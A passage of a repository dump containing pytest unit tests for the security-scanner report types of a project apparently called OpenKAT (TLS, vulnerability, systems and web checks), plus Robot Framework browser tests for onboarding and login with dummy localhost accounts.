    "content": "from reports.report_types.safe_connections_report.report import SafeConnectionsReport\n\n\ndef test_safe_connections_report_no_finding_types(mock_octopoes_api_connector, valid_time, hostname):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: []}}\n\n    report = SafeConnectionsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[\"sc_ips\"] == {}\n    assert data[\"number_of_available\"] == 0\n    assert data[\"number_of_ips\"] == 0\n\n\ndef test_safe_connections_report_single_cipher_finding_type(\n    mock_octopoes_api_connector, valid_time, ipaddressv4, cipher_finding_type, finding_types\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService]\"\n        \".<ip_service [is TLSCipher].<ooi[is Finding].finding_type\": {\n            ipaddressv4.reference: [cipher_finding_type, finding_types[0]]\n        }\n    }\n\n    report = SafeConnectionsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[\"sc_ips\"][ipaddressv4.reference] == [cipher_finding_type]\n    assert data[\"number_of_available\"] == 0\n    assert data[\"number_of_ips\"] == 1\n\n\ndef test_safe_connections_report_multiple_cipher_finding_types(\n    mock_octopoes_api_connector, valid_time, ipaddressv4, cipher_finding_types, finding_types\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService]\"\n        \".<ip_service [is TLSCipher].<ooi[is Finding].finding_type\": {\n            ipaddressv4.reference: cipher_finding_types + finding_types\n        }\n    }\n\n    report = SafeConnectionsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[\"sc_ips\"][ipaddressv4.reference] == cipher_finding_types\n    assert data[\"number_of_available\"] == 0\n    assert data[\"number_of_ips\"] == 1\n\n\ndef test_safe_connections_report_no_cipher_finding_types(\n    mock_octopoes_api_connector, valid_time, ipaddressv4, finding_types\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService]\"\n        \".<ip_service [is TLSCipher].<ooi[is Finding].finding_type\": {ipaddressv4.reference: finding_types}\n    }\n\n    report = SafeConnectionsReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[\"sc_ips\"][ipaddressv4.reference] == []\n    assert data[\"number_of_available\"] == 1\n    assert data[\"number_of_ips\"] == 1\n"
  },
  {
    "path": "rocky/tests/reports/test_systems_report.py",
    "content": "from reports.report_types.systems_report.report import SystemReport, SystemType\n\n\ndef test_systems_report_no_systems(mock_octopoes_api_connector, valid_time, hostname):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: []}}\n\n    report = SystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[\"services\"] == {}\n    assert data[\"summary\"][\"total_systems\"] == 0\n    assert data[\"summary\"][\"total_domains\"] == 0\n\n\ndef test_systems_simple_web_system(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4, service):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService].service\": {ipaddressv4.reference: [service]},\n        \"IPAddress.<address[is IPPort].<ooi [is SoftwareInstance].software\": {ipaddressv4.reference: []},\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService].<ip_service [is Website]\": {ipaddressv4.reference: []},\n    }\n\n    report = SystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"services\"]) == 1\n    assert len(data[\"services\"][ipaddressv4.reference][\"services\"]) == 1\n    assert data[\"services\"][ipaddressv4.reference][\"hostnames\"] == [hostname.reference]\n    assert data[\"services\"][ipaddressv4.reference][\"services\"] == [SystemType.DNS]\n    assert data[\"summary\"][\"total_systems\"] == 1\n    assert data[\"summary\"][\"total_domains\"] == 1\n\n\ndef test_systems_complex_system(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4, service, software):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService].service\": {ipaddressv4.reference: [service]},\n        \"IPAddress.<address[is IPPort].<ooi [is SoftwareInstance].software\": {ipaddressv4.reference: [software]},\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService].<ip_service [is Website]\": {ipaddressv4.reference: []},\n    }\n\n    report = SystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"services\"]) == 1\n    assert len(data[\"services\"][ipaddressv4.reference][\"services\"]) == 2\n    assert data[\"services\"][ipaddressv4.reference][\"hostnames\"] == [hostname.reference]\n    assert data[\"services\"][ipaddressv4.reference][\"services\"] == [SystemType.DNS, SystemType.DICOM]\n    assert data[\"summary\"][\"total_systems\"] == 1\n    assert data[\"summary\"][\"total_domains\"] == 1\n\n\ndef test_systems_two_systems(\n    mock_octopoes_api_connector, valid_time, service, hostname, ipaddressv4, ipaddressv6, software\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4, ipaddressv6]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {\n            ipaddressv4.reference: [hostname],\n            ipaddressv6.reference: [hostname],\n        },\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService].service\": {\n            ipaddressv4.reference: [service],\n            ipaddressv6.reference: [],\n        },\n        \"IPAddress.<address[is IPPort].<ooi [is SoftwareInstance].software\": {\n            ipaddressv4.reference: [],\n            ipaddressv6.reference: [software],\n        },\n        \"IPAddress.<address[is IPPort].<ip_port [is IPService].<ip_service [is Website]\": {\n            ipaddressv4.reference: [],\n            ipaddressv6.reference: [],\n        },\n    }\n\n    report = SystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"services\"]) == 2\n    assert len(data[\"services\"][ipaddressv4.reference][\"services\"]) == 1\n    assert len(data[\"services\"][ipaddressv6.reference][\"services\"]) == 1\n    assert data[\"services\"][ipaddressv4.reference][\"services\"] == [SystemType.DNS]\n    assert data[\"services\"][ipaddressv6.reference][\"services\"] == [SystemType.DICOM]\n    assert data[\"summary\"][\"total_systems\"] == 2\n    assert data[\"summary\"][\"total_domains\"] == 1\n"
  },
  {
    "path": "rocky/tests/reports/test_tls_report.py",
    "content": "from reports.report_types.tls_report.report import TLSReport\n\n\ndef test_tls_report_no_suites_no_findings(mock_octopoes_api_connector, valid_time, ip_service, tree_data_no_findings):\n    mock_octopoes_api_connector.queries = {\"IPService.<ip_service[is TLSCipher]\": {ip_service.reference: []}}\n\n    report = TLSReport(mock_octopoes_api_connector)\n    result = report.generate_data(str(ip_service.reference), valid_time)\n\n    data = result[ip_service.primary_key]\n\n    assert data[\"suites\"] == {}\n    assert data[\"findings\"] == []\n    assert data[\"suites_with_findings\"] == []\n\n\ndef test_tls_report_multiple_findings_and_suites(\n    cipher, mock_octopoes_api_connector, valid_time, ip_service, query_data_tls_findings_and_suites\n):\n    mock_octopoes_api_connector.queries = {\n        \"IPService.<ip_service[is TLSCipher]\": {ip_service.reference: [cipher]},\n        \"TLSCipher.<ooi[is Finding]\": {cipher.reference: query_data_tls_findings_and_suites},\n    }\n\n    report = TLSReport(mock_octopoes_api_connector)\n    result = report.generate_data(str(ip_service.reference), valid_time)\n\n    data = result[ip_service.primary_key]\n\n    assert len(data[\"suites\"]) == 1\n    assert list(data[\"suites\"].keys())[0] == \"TLSv1\"\n    assert data[\"suites\"][\"TLSv1\"][0][\"cipher_suite_name\"] == \"ECDHE-RSA-AES128-SHA\"\n    assert data[\"suites\"][\"TLSv1\"][1][\"cipher_suite_name\"] == \"ECDHE-RSA-AES256-SHA\"\n\n    assert len(data[\"findings\"]) == 3\n    assert (\n        data[\"findings\"][0].primary_key\n        == \"Finding|TLSCipher|testnetwork|192.0.2.1|tcp|80|domain|KAT-RECOMMENDATION-BAD-CIPHER\"\n    )\n    assert (\n        data[\"findings\"][1].primary_key == \"Finding|TLSCipher|testnetwork|192.0.2.1|tcp|80|domain|KAT-MEDIUM-BAD-CIPHER\"\n    )\n    assert (\n        data[\"findings\"][2].primary_key\n        == \"Finding|TLSCipher|testnetwork|192.0.2.1|tcp|80|domain|KAT-CRITICAL-BAD-CIPHER\"\n    )\n\n    assert len(data[\"suites_with_findings\"]) == 2\n    assert data[\"suites_with_findings\"][0] == \"ECDHE-RSA-AES128-SHA\"\n    assert data[\"suites_with_findings\"][1] == \"ECDHE-RSA-AES256-SHA\"\n"
  },
  {
    "path": "rocky/tests/reports/test_vulnerability_report.py",
    "content": "from reports.report_types.vulnerability_report.report import VulnerabilityReport\n\n\ndef test_vulnerability_report_no_findings(mock_octopoes_api_connector, valid_time, ipaddressv4):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is IPPort].<ooi[is Finding]\": {ipaddressv4.reference: []},\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding]\": {\n            ipaddressv4.reference: []\n        },\n        \"IPAddress.<address[is IPPort].<ooi[is Finding].finding_type\": {ipaddressv4.reference: []},\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding].finding_type\": {\n            ipaddressv4.reference: []\n        },\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: []},\n    }\n\n    report = VulnerabilityReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[str(ipaddressv4.reference)][\"vulnerabilities\"] == {}\n    assert data[str(ipaddressv4.reference)][\"summary\"][\"total_findings\"] == 0\n\n\ndef test_vulnerability_report_single_finding(\n    mock_octopoes_api_connector, valid_time, ipaddressv4, hostname, cve_finding_2019_8331, cve_finding_type_2019_8331\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding]\": {ipaddressv4.reference: []},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding].finding_type\": {ipaddressv4.reference: []},\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding]\": {\n            ipaddressv4.reference: [cve_finding_2019_8331]\n        },\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding].finding_type\": {\n            ipaddressv4.reference: [cve_finding_type_2019_8331]\n        },\n    }\n\n    report = VulnerabilityReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[str(ipaddressv4.reference)][\"vulnerabilities\"][\"CVE-2019-8331\"][\"cvss\"][\"score\"] == 6.1\n    assert data[str(ipaddressv4.reference)][\"summary\"][\"total_criticals\"] == 0\n    assert data[str(ipaddressv4.reference)][\"summary\"][\"total_findings\"] == 1\n\n\ndef test_vulnerability_report_finding_no_score(\n    mock_octopoes_api_connector,\n    valid_time,\n    ipaddressv4,\n    hostname,\n    cve_finding_2023_38408,\n    cve_finding_type_2023_38408,\n    cve_finding_no_score,\n    cve_finding_type_no_score,\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding]\": {ipaddressv4.reference: []},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding].finding_type\": {ipaddressv4.reference: []},\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding]\": {\n            ipaddressv4.reference: [cve_finding_2023_38408, cve_finding_no_score]\n        },\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding].finding_type\": {\n            ipaddressv4.reference: [cve_finding_type_2023_38408, cve_finding_type_no_score]\n        },\n    }\n\n    report = VulnerabilityReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[str(ipaddressv4.reference)][\"vulnerabilities\"][\"CVE-2023-38408\"][\"cvss\"][\"score\"] == 9.8\n    assert data[str(ipaddressv4.reference)][\"vulnerabilities\"][\"CVE-0000-0001\"][\"cvss\"][\"score\"] is None\n    assert data[str(ipaddressv4.reference)][\"summary\"][\"total_criticals\"] == 1\n    assert data[str(ipaddressv4.reference)][\"summary\"][\"total_findings\"] == 2\n\n\ndef test_vulnerability_report_two_findings(\n    mock_octopoes_api_connector,\n    valid_time,\n    ipaddressv4,\n    hostname,\n    cve_finding_2019_8331,\n    cve_finding_type_2019_8331,\n    cve_finding_2019_2019,\n    cve_finding_type_2019_2019,\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding]\": {ipaddressv4.reference: []},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding].finding_type\": {ipaddressv4.reference: []},\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding]\": {\n            ipaddressv4.reference: [cve_finding_2019_8331, cve_finding_2019_2019]\n        },\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding].finding_type\": {\n            ipaddressv4.reference: [cve_finding_type_2019_8331, cve_finding_type_2019_2019]\n        },\n    }\n\n    report = VulnerabilityReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    findings = list(data[str(ipaddressv4.reference)][\"vulnerabilities\"].values())\n    assert findings[0][\"cvss\"][\"score\"] > findings[1][\"cvss\"][\"score\"]\n\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding]\": {ipaddressv4.reference: []},\n        \"IPAddress.<address[is IPPort].<ooi[is Finding].finding_type\": {ipaddressv4.reference: []},\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding]\": {\n            ipaddressv4.reference: [cve_finding_2019_2019, cve_finding_2019_8331]\n        },\n        \"IPAddress.<address [is ResolvedHostname]\"\n        \".hostname.<netloc [is HostnameHTTPURL].<ooi [is SoftwareInstance].<ooi [is Finding].finding_type\": {\n            ipaddressv4.reference: [cve_finding_type_2019_2019, cve_finding_type_2019_8331]\n        },\n    }\n\n    report = VulnerabilityReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    findings = list(data[str(ipaddressv4.reference)][\"vulnerabilities\"].values())\n    assert findings[0][\"cvss\"][\"score\"] > findings[1][\"cvss\"][\"score\"]\n"
  },
  {
    "path": "rocky/tests/reports/test_web_systems_report.py",
    "content": "from reports.report_types.web_system_report.report import WebSystemReport\n\n\ndef test_web_report_no_findings(mock_octopoes_api_connector, valid_time, hostname, security_txt):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: []},\n        \"Hostname.<hostname[is Website].<website[is HTTPResource].<ooi[is Finding].finding_type\": {\n            hostname.reference: []\n        },\n        \"Hostname.<hostname[is Website].<website[is HTTPResource].<resource[is HTTPHeader].\"\n        \"<ooi[is Finding].finding_type\": {hostname.reference: []},\n        \"Hostname.<netloc[is HostnameHTTPURL].<ooi[is Finding].finding_type\": {hostname.reference: []},\n        \"Hostname.<hostname[is Website].<ooi[is Finding].finding_type\": {hostname.reference: []},\n        \"Hostname.<hostname[is Website].<website[is SecurityTXT]\": {hostname.reference: [security_txt]},\n        \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ooi[is Finding].finding_type\": {\n            hostname.reference: []\n        },\n        \"Hostname.<hostname[is Website].certificate.<ooi[is Finding].finding_type\": {hostname.reference: []},\n    }\n\n    report = WebSystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert bool(data[\"web_checks\"])\n\n\ndef test_web_report_all_findings(\n    mock_octopoes_api_connector, valid_time, hostname, security_txt, web_report_finding_types\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: []},\n        \"Hostname.<hostname[is Website].<website[is HTTPResource].<ooi[is Finding].finding_type\": {\n            hostname.reference: web_report_finding_types\n        },\n        \"Hostname.<hostname[is Website].<website[is HTTPResource].<resource[is HTTPHeader].\"\n        \"<ooi[is Finding].finding_type\": {hostname.reference: web_report_finding_types},\n        \"Hostname.<netloc[is HostnameHTTPURL].<ooi[is Finding].finding_type\": {\n            hostname.reference: web_report_finding_types\n        },\n        \"Hostname.<hostname[is Website].<ooi[is Finding].finding_type\": {hostname.reference: web_report_finding_types},\n        \"Hostname.<hostname[is Website].<website[is SecurityTXT]\": {hostname.reference: []},\n        \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ooi[is Finding].finding_type\": {\n            hostname.reference: web_report_finding_types\n        },\n        \"Hostname.<hostname[is Website].certificate.<ooi[is Finding].finding_type\": {\n            hostname.reference: web_report_finding_types\n        },\n    }\n\n    report = WebSystemReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    checks = data[\"web_checks\"]\n\n    assert checks.has_csp == 0\n    assert checks.has_no_csp_vulnerabilities == 0\n    assert checks.redirects_http_https == 0\n    assert checks.offers_https == 0\n    assert checks.has_security_txt == 0\n    assert checks.no_uncommon_ports == 0\n    assert checks.has_certificates == 0\n    assert checks.certificates_not_expired == 0\n    assert checks.certificates_not_expiring_soon == 0\n"
  },
  {
    "path": "rocky/tests/robot/ci/01_rocky_loads.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to login as the default superuser for the first time\n    Login As User For The First Time    robot@localhost    robotpassword\n\nI want to add indemnifications\n    Click    xpath=//a[@class=\"button\"]\n    Fill Text    xpath=//*[@id=\"id_name\"]    Dev Org\n    Fill Text    xpath=//*[@id=\"id_code\"]    dev\n    Click    \"Submit\"\n    # Click    xpath=//button[contains(text(),\"Submit\")]\n    Check Checkbox    css=#id_may_scan\n    Check Checkbox    css=#id_am_authorized\n    Click    \"Submit\"\n    Get Title    equal    OpenKAT - step_4_trusted_acknowledge_clearance_level\n"
  },
  {
    "path": "rocky/tests/robot/complete_onboarding/01_onboard_with_all_users.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to login as the default superuser for the first time\n    Login As User For The First Time    robot@localhost    robotpassword\n\nI want to add indemnifications\n    Click    xpath=//a[@class=\"button\"]\n    Fill Text    xpath=//*[@id=\"id_name\"]    Dev Org\n    Fill Text    xpath=//*[@id=\"id_code\"]    dev\n    Click    \"Submit\"\n    # Click    xpath=//button[contains(text(),\"Submit\")]\n    Check Checkbox    css=#id_may_scan\n    Check Checkbox    css=#id_am_authorized\n    Click    \"Submit\"\n    Get Title    equal    OpenKAT - step_account_setup_intro\n\nI want to onboard and create all optional users\n    Click    \"Create separate accounts\"\n    Click    \"Let's add accounts\"\n    Get Title    equal    OpenKAT - step_account_setup_admin\n\nI want to create a secondary admin account\n    Create A User While Onboarding    Admin    admin@localhost    P@SSw00rdAdmin!123456789\n\nI want to create a redteamer account\n    Create A User While Onboarding    Redteamer    redteamer@localhost    P@SSw00rdRedteam!123456789\n\nI want to create a client account\n    Create A User While Onboarding    Client    client@localhost    P@SSw00rdClient!123456789\n\nI can confirm that I can proceed\n    Click    xpath=//a[@class=\"button\"]\n    Click    \"Continue\"\n    Click    \"Continue\"\n    Click    \"Continue with this account, onboard me!\"\n\nI want generate my first report\n    Generate First DNS Report\n\nI want to logout\n    Go to    ${ROOT_URL}/crisis-room\n    Logout Normally\n\nI want to login again\n    Login As User Normally    robot@localhost    robotpassword\n    Click    \"Skip onboarding\"\n\nIs user onboarded?\n    Go to    ${ROOT_URL}/en/admin/tools/organizationmember/1/change/\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n\nI am on the Crisis Room page\n    Go to    ${ROOT_URL}\n    Get Title    equal    OpenKAT - crisis_room\n\nI add an object\n    Go to    ${ROOT_URL}/dev/objects/add/\n    Select options by    id=select_ooi_type    value    Network\n    Click    xpath=//input[@type=\"submit\"]\n    Fill Text    xpath=//input[@name=\"name\"]    Rieven\n    Click    xpath=//form/button\n\nI should have created the object\n    ${object_text}    Get Text    xpath=//dl\n    Should Be True    \"Rieven\" in \"\"\"${object_text}\"\"\"    Rieven not found in object\n    Should Be True    \"Network\" in \"\"\"${object_text}\"\"\"    Network not found in object\n\nI want to enter the Katalogus\n    Click    xpath=//a[@href=\"/en/dev/kat-alogus/\"]\n    Get Title    equal    OpenKAT - katalogus\n\nI want to see the DnsRecords page in details\n    Click    xpath=//a[@href=\"/en/dev/kat-alogus/plugins/boefje/dns-records/\"]\n    Get Title    equal    OpenKAT - boefje_detail\n\nI want to add the badssl.com hostname\n    Go to    ${ROOT_URL}/en/dev/objects/add/\n    Select options by    id=select_ooi_type    value    Hostname\n    Click    xpath=//input[@type=\"submit\"]\n    Select options by    id=id_network    value    Network|internet\n    Fill Text    id=id_name    badssl.com\n    Click    xpath=//form/button\n    Get Text\n    ...    id=main-content\n    ...    contains\n    ...    badssl.com\n    ...    not landed on page which contains the hostname\n\nThe DnsRecords boefje is completed\n    Sleep    30s\n    Set Browser Timeout    90s\n    Go To    ${ROOT_URL}/en/dev/tasks\n    ${e}    Get Table Cell Element\n    ...    table[rf-selector=\"table-boefjes\"]\n    ...    \"Status\"\n    ...    \"Hostname|internet|mispo.es\"\n    Wait Until Keyword Succeeds\n    ...    5x\n    ...    2s\n    ...    Reload The Page Until Element Contains\n    ...    ${ROOT_URL}/en/dev/tasks\n    ...    ${e}\n    ...    Completed\n\nThe DnsRecords boefje is normalized\n    Set Browser Timeout    90s\n    Go To    ${ROOT_URL}/en/dev/tasks/normalizers\n    ${e}    Get Table Cell Element\n    ...    table[rf-selector=\"table-normalizers\"]\n    ...    \"Status\"\n    ...    \"Hostname|internet|mispo.es\"\n    Wait Until Keyword Succeeds\n    ...    90s\n    ...    2s\n    ...    Reload The Page Until Element Contains\n    ...    ${ROOT_URL}/en/dev/tasks/normalizers\n    ...    ${e}\n    ...    Completed\n\nDownload the mispo.es pdf report\n    Go to    ${ROOT_URL}/en/dev/objects/detail/?ooi_id=Hostname%7Cinternet%7Cmispo.es\n    Click    'Generate report'\n    Set Browser Timeout    30s\n    ${dl_promise}    Promise To Wait For Download\n    Click    'Download PDF'\n    ${file_obj}    Wait For    ${dl_promise}\n    Set Suite Variable    ${REPORT_FILE}    ${file_obj}\n    Log To Console    ${REPORT_FILE}\n\nA valid pdf is downloaded\n    File Should Exist    ${REPORT_FILE}[saveAs]    Cannot find downloaded file\n    ${filesize}    Get File Size    ${REPORT_FILE}[saveAs]\n    Should Be True    ${filesize} > 50000    The downloaded file is uncharacteristically small\n    Should End With    ${REPORT_FILE}[suggestedFilename]    .pdf    File is not advertised as a pdf\n\n\n*** Keywords ***\nCreate A User While Onboarding\n    [Arguments]    ${name}    ${email}    ${password}\n    Fill Text    xpath=//*[@id=\"id_name\"]    ${name}\n    Fill Text    xpath=//*[@id=\"id_email\"]    ${email}\n    Fill Text    xpath=//*[@id=\"id_password\"]    ${password}\n    Click    \"Submit\"\n    # Get Text    .confirmation    contains    successfully    error account creation failed\n"
  },
  {
    "path": "rocky/tests/robot/complete_onboarding/02_login_as_redteamer_and_do_stuff.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to login as the redteam user for the first time\n    Login As User For The First Time    redteamer@localhost    P@SSw00rdRedteam!123456789\n\nI want generate my first report\n    Generate First DNS Report\n\nI am on the Crisis Room page\n    Go to    ${ROOT_URL}\n    Click    \"Skip onboarding\"\n    Get Title    equal    KAT - crisis_room\n\nI add an object\n    Go to    ${ROOT_URL}/objects/add/\n    Select options by    id=select_ooi_type    value    Network\n    Click    xpath=//input[@type=\"submit\"]\n    Fill Text    xpath=//input[@name=\"name\"]    Rieven\n    Click    xpath=//form/button\n\nI should have created the object\n    ${object_text}    Get Text    xpath=//dl\n    Should Be True    \"Rieven\" in \"\"\"${object_text}\"\"\"    Rieven not found in object\n    Should Be True    \"Network\" in \"\"\"${object_text}\"\"\"    Network not found in object\n\nI want to logout\n    Go to    ${ROOT_URL}/crisis-room\n    Logout Normally\n"
  },
  {
    "path": "rocky/tests/robot/complete_onboarding/03_functional_tests.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to go to the home page\n    Go To    ${ROOT_URL}/\n    Get Title    equal    OpenKAT - landing_page\n\nI want to change the language to Papiamentu\n    Click    xpath=//button[@value=\"pap\"]\n    Get Text    id=KAT    contains    Kiko ta bo meta ku KAT?    this is not Papiamentu\n\nI want to change the language to Dutch\n    Click    xpath=//button[@value=\"nl\"]\n    Get Text    id=KAT    contains    Wat is KAT?    this is not Dutch\n\nI want to change the language to English\n    Click    xpath=//button[@value=\"en\"]\n    Get Text    id=KAT    contains    What is KAT?    this is not English\n\nI want to login normally\n    Login As User Normally    redteamer@localhost    P@SSw00rdRedteam!123456789\n\nI want to go to the crisis page\n    Go To    ${ROOT_URL}/crisis-room\n    Get Title    equal    KAT - crisis_room\n"
  },
  {
    "path": "rocky/tests/robot/skip_onboarding_no_report/01_skip_onboarding_no_report.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to login as the default superuser for the first time\n    Login As User For The First Time    robot@localhost    robotpassword\n\nI want to skip onboarding altogether\n    Click    xpath=//a[@class=\"button\"]\n    Click    xpath=//button[contains(text(),\"Submit\")]\n    Click    \"Continue with this account, onboard me!\"\n    Click    \"Skip onboarding\"\n    Get Title    equal    KAT - crisis_room\n\nIs user onboarded?\n    Go To    ${ROOT_URL}/admin/tools/organizationmember/1/change/\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n    Go to    ${ROOT_URL}/crisis-room\n\nI want to logout\n    Logout Normally\n\nI want to login again\n    Login As User Normally    robot@localhost    robotpassword\n"
  },
  {
    "path": "rocky/tests/robot/skip_onboarding_with_functional_tests/01_skip_onboarding_with_functional_tests.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to login as the default superuser for the first time\n    Login As User For The First Time    robot@localhost    robotpassword\n\nI want to skip onboarding altogether\n    Click    xpath=//a[@class=\"button\"]\n    Click    xpath=//button[contains(text(),\"Submit\")]\n    Click    \"Continue with this account, onboard me!\"\n    Click    \"Skip onboarding\"\n    Get Title    equal    KAT - crisis_room\n\nIs user onboarded?\n    Go To    ${ROOT_URL}/admin/tools/organizationmember/1/change/\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n    Go to    ${ROOT_URL}/crisis-room\n\nI want to logout\n    Logout Normally\n"
  },
  {
    "path": "rocky/tests/robot/skip_onboarding_with_functional_tests/02_functional_tests.robot",
